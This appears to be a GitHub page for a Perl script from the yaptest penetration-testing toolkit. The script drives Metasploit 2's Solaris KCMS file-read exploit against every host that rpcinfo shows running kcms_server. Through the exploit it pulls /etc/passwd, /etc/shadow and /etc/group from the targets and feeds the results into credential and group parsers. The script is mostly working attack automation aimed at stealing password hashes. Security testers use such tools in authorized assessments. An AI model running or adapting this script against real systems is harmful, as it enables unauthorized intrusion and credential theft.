forked from pentestmonkey/yaptest
-
Notifications
You must be signed in to change notification settings - Fork 0
/
yaptest-kcmsd-fileread.pl
executable file
·51 lines (43 loc) · 1.62 KB
/
yaptest-kcmsd-fileread.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env perl
use warnings;
use strict;
use POSIX;
use yaptest;
use File::Basename;
my $timeout = 10;
my $script_name = basename($0);
my $usage = "Usage: $script_name
Tries to grab files using the KCMS file read exploit in metasploit 2.
Runs against all hosts which rpcinfo reports has running kcms_server.
The exploit also requires tooltalk to be running.
NB: msfcli from Metasploit 2 is required to be in the path (MSF3 won't work).
";
my $y = yaptest->new();
$y->check_exploit_ok();
my $ms2_dir = $y->get_config('metasploit_2_dir');
if (defined($ms2_dir)) {
$ms2_dir .= '/' unless substr($ms2_dir, -1, 1); # add trailing slash
print "NOTE: Assuming 'msfcli' from Metasploit 2 is installed in $ms2_dir\n";
} else {
print "WARNING: metasploit_2_dir config option not set. Use yaptest-config.pl\n";
print " to set 'metasploit_2_dir' to the location of Metasploit v2\n";
print " Will search for msfcli in \$PATH - probably not what you want\n";
$ms2_dir = "";
}
print "\n";
foreach my $file (qw(passwd shadow)) {
$y->run_test(
command => $ms2_dir . "msfcli solaris_kcms_readfile RHOST=::IP:: RFILE=/etc/$file E",
filter => { port_info => 'rpcinfo_tcp like % 100221 %' },
output_file => "kcms-fileread-$file-::IP::.out",
inactivity_timeout => $timeout,
parser => "yaptest-credentials.pl add --ip ::IP:: -f"
);
}
$y->run_test(
command => $ms2_dir . "msfcli solaris_kcms_readfile RHOST=::IP:: RFILE=/etc/group E",
filter => { port_info => 'rpcinfo_tcp like % 100221 %' },
output_file => "kcms-fileread-group-::IP::.out",
inactivity_timeout => $timeout,
parser => "yaptest-groups.pl add --group_ip ::IP:: -f"
);